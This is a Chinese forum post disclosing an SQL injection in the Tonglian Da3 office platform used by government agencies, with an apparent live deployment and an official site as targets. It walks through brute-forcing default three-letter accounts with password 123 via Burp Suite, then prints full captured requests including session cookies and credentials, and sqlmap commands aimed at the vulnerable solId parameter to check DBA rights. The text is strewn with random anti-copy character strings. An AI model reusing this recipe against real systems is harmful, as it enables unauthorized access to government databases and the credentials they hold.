同联Da3协同办公平台前台通用sql injection漏洞

admin

3 t j; Y% ?) e# |
5 t- t/ |6 H0 o9 Z6 E

! Q1 b* v- W5 `

平台简介： 4 y2 O' M* M7 {* D. v

 

% r6 D) U1 c0 S7 z7 Q9 H( _0 H

6 r0 L( R5 s) g4 ]" E( F0 G% [% | 北京同联信息技术有限公司（以下简称同联）由用友政务与用友原行业事业部团队合伙出资成立。同联以“为全国各级政府单位提供信息化咨询规划、建设解决方案和信息化运维服务，以加强各级政府的精细化、智能化管理，形成高效、敏捷、便民的新型政府。”为使命，致力于为各级政府单位提供专业、标准、灵活、易用的信息化产品及专业的服务。
+ E1 @% Z/ r3 u! g. n) }同联面向政府单位提供专业、标准、灵活、易用的信息化产品。针对各级政府单位，分别提供以“移动政务办公”为主的Da3系列管理软件；针对政法单位提供以“协同办案”为核心的政法协同办案系统等。
, M1 F) x0 m- ?: ~同联本着“协作、专业、创新”的工作方针，为推动各级政府单位信息化、促进各级政府快速转型为 “智慧型政府”做出积极贡献！

: V. b: {, |: f" }0 V$ l0 L/ L3 D   $ ~8 N% x7 z3 f9 v$ ~, o- @) F

* q; q& ?" ]0 c# U+ [( Z# _

由于此程序为新开发的程序，故能找到的案例并不多，下面附案例地址：

 

http://1.1.1.1:7197/cap-aco/#（案例2-）

/ T5 A9 y& h4 o2 |2 Q http://www.XXOO.com （案例1-官网网站） , ~% @2 p5 ]+ T3 k! l+ L. j7 o3 S% `

. p9 z) r( I e B. b; C5 f   }- D- b! W( }

, _ w ~# Y6 I 漏洞详情:

- w# n/ b) G# p  初步确定平台的默认账号为姓名的首字母小写，初始密码为123，为了能够更好的模拟入侵，使用黑盒测试手段进行测试 0 Y. h l y' r |

     首先使用burpsuite代理，然后再用黑客字典生成一个全英文小写的3位字典，利用burpsuite进行暴力破解，破解结果如图：

' [$ q/ C2 H+ v0 c5 ~8 A* Y

/ \- f8 V& b9 q2 u0 P8 l  

  ! I/ y8 K- y* p' p w& @2 |

% j) k" g# O) L2 q' j+ k) S5 g

& m( Z% N" g0 r+ G5 M) U0 `& [1 n# B status为302即表示破解成功，然后找个破解成功的账号登录系统。经过长时间的手工测试发现在发文管理模块抓包，抓包的数据分别如下：

1、案例1-官方网站 3 m( c/ e9 J. N( U

! b' w% X$ o- Q6 u

GET /bpmRuBizInfoController/findBpmRuBizInfoBySolId?rows=10&page=0&solId=42b0234e-d5dc-402d-9cef-1ce38cbae480&state=&title=1111&sortOrder=DESC&query=bizTitle_%3D%26URGENCY_%3D%26STATE_%3D%26startTime%3D%26endTime%3D&_=1510060789826 HTTP/1.1 * e( e7 \0 Q" ^. n9 ]- v) M

6 Q' {& V# s7 q1 t9 U Host: www.XXOO.com

4 M4 @7 d/ \& a5 ]6 M, \ Proxy-Connection: Keep-Alive 0 H" H: C W8 J- E

Accept: application/json, text/javascript, */*; q=0.01 0 z" j. S5 v3 M! ~

Accept-Language: zh-CN

# \- [! j$ g' M1 Z+ \9 j Content-Type: application/json 2 {8 I6 D4 @1 _6 T7 N, g# i

: `! o% {2 W8 {. }3 m! W

* V% Y d2 O; o: X7 _& K User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0; SE 2.X MetaSr 1.0) like Gecko

X-Requested-With: XMLHttpRequest

Referer: http://www.XXOO.com/bizRunContro ... 80?modCode=1008M002 ) ]" M+ `, q- U- @$ J% [

: P0 ?: s: h* Z. ]6 q9 N4 x, X

Accept-Encoding: gzip, deflate, sdch

3 o# [1 R) `0 V, r

# s& h; I9 e& C Cookie: username=chm; password=123; rememberme=1; autoSubmit=1; sid=2cf5142f-6c1e-4cbb-89d8-2ebd08438b2e ) O- ^ w/ h' {5 f( u# |

将上面post数据包复制到txt文本里保存为tl.txt并将其放到sqlmap根目录下利用sqlmap注入命令为：sqlmap.py -r tl.txt --dbms=mysql --level 5 --risk 3 --tamper=space2hash.py -p solId --is-dba 注入如图: ( M" l, x7 ]) i; `, {' g

% I% u# X4 a# J8 f3 ]   9 M) Q; |: T, Q; _' v2 R

: ]& B2 J, X6 Y5 a% v( x$ v! s' j2 k$ y  

; ^: g1 k7 a* r) y2 R! L. O

  . d4 O, ]6 Y6 ~$ l

2 v. F6 Y, ]: J7 B* i+ M/ U

 

5 J: {$ ^ z" K

' i! L: o5 ]" x; {6 u- x+ t  

2 ^# {2 o0 C" o) b0 |

2、案例2-某天河云平台

GET /cap-aco/bpmRuBizInfoController/findBpmRuBizInfoBySolId?rows=10&page=0&solId=af056885-4ae5-4e0b-8a0d-c413a786f2db&state=&title=11111&sortOrder=DESC&query=bizTitle_%3D%26URGENCY_%3D%26STATE_%3D%26startTime%3D%26endTime%3D&_=1510047738662 HTTP/1.1 6 j$ |( A, I( [) p$ Z" ^# q7 I

Host: 1.1.1.:7197

7 Q1 }) e0 j: _" J* B) n Accept: application/json, text/javascript, */*; q=0.01

( @. K1 Z: y' l# @: \# d. X* o X-Requested-With: XMLHttpRequest # I$ r! t3 d% z4 I% ~

, a. U/ f0 g6 i6 F+ e6 U, _, c( b0 P

6 h3 E& w* I8 N2 f4 l9 Q User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.221 Safari/537.36 SE 2.X MetaSr 1.0

5 v4 y) X$ b2 g Content-Type: application/json

' J$ E# l. q, K3 T5 m4 u0 _7 U

0 z2 e4 x0 M- s6 r Referer: http://1.1.1.1:7197/cap-aco/bizR ... 86f2db?modCode=1008 & b, v" }7 U. [" G

7 Q: p: c/ o% x* `2 K, s$ t* ?

Accept-Language: zh-CN,zh;q=0.8 & x1 t9 h0 A6 L5 q9 |; _; S

; m {) p8 C/ R* L

' T# a" z/ R$ s0 a+ n Cookie: autoSubmit=1; sid=4e333ec9-d194-456b-bb08-4ff64c6eb1fc; username=lxr; password=123; rememberme=1; autoSubmit=1 & h4 W* s7 U* z

Connection: close % O( Q$ t3 c6 @/ F9 N' ]4 g7 A

5 H' @6 {% y, j! O0 A; C( J

* q) N3 P* b+ D) L# m( [ 将上面post数据包复制到txt文本里保存为tl.txt并将其放到sqlmap根目录下利用sqlmap注入命令为：sqlmap.py -r 1.txt --dbms=mysql --level 5 --risk 3 --tamper=space2hash.py -p solId --is-dba 注入如图:

3 T' p& M( |: P i